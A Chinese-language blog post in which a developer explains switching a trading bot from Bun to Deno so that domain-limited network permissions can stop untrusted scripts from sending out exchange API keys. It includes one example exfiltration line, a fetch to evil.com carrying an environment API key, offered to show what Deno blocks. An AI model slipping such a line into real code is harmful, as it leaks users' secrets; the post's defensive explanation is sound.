我为什么选了 Deno
交易机器人跑了大半年,一直用的 Bun。启动快,TS 直接跑,内置的 SQLite 和 WebSocket 省了不少折腾。没什么不满意的。
直到有一天,我想试别人的策略。
GitHub 上找到一个看起来不错的量化脚本,star 不多,代码量也不大。拉下来,bun run,跑起来了。K 线数据拉得很顺,信号也在输出。看了一会儿觉得逻辑一般,关掉了,没再管。
后来想起一件事——这个脚本跑的时候,我的 .env 里躺着交易所的 API Key。它能读环境变量,也能访问任意网络。它有没有把我的密钥发出去,我不知道。
我没有精力审计每一行代码。
这件事在心里搁了几天。后来开始认真想这个问题:交易软件和普通软件不一样,它必须拿到密钥,这是绕不过去的。你不可能不给它权限。但你可以限制它拿到密钥之后,能往哪儿发。
想了一圈,发现这件事几乎没有语言能做到。
Python 不行。requests.get 想往哪儿发就往哪儿发,你拦不住。Go 不行,net/http 同理。Rust 不行,编译出来的二进制更是黑盒,跑起来之后操作系统级别的网络权限全开。Java、C#、Ruby,都一样。所有主流语言的运行时都默认信任代码——进程一旦启动,整个网络都是敞开的。
Node 做不到。Bun 也做不到。
Deno 可以。
deno run --allow-env --allow-net=clob.polymarket.com,gamma-api.polymarket.com bot.ts
一行命令。密钥它能读到,但只能往 Polymarket 的 API 发请求。如果代码里藏了一个 fetch("https://evil.com", { body: process.env.API_KEY }),直接就被拦住了。不需要审计源码,不需要配防火墙,不需要起 Docker。
这不是沙箱,不是虚拟机,不是容器。是运行时本身在每一次系统调用前做检查。粒度到域名,开箱即用,零配置。在我知道的所有主流语言和运行时里,只有 Deno 把这件事做进了底层。
有人会说,Docker 不也能隔离吗?能,但 Docker 做不了域名级别的网络限制。交易所的 API 服务器 IP 会变,会走 CDN,你没法维护一份 IP 白名单。而 Deno 的限制是域名粒度的,天然适合这个场景。
也有人会说,大部分人最后都 deno run -A,等于没有限制。这我同意。跑自己写的代码,我也会 -A。但跑别人的代码时,那几个 flag 就是最后一道门。
Bun 很好。启动快,API 设计舒服,生态兼容性强。我自己写的东西,用 Bun 跑得很顺畅。但"顺畅"和"安心"是两回事。
选 Deno 不是因为它更快,不是因为它更现代,也不是因为网上的对比文章。只是因为有一天我意识到,我的密钥在一个没有围墙的院子里跑了半年,而我一直假装门是锁着的。
现在有了围墙。不高,但够用。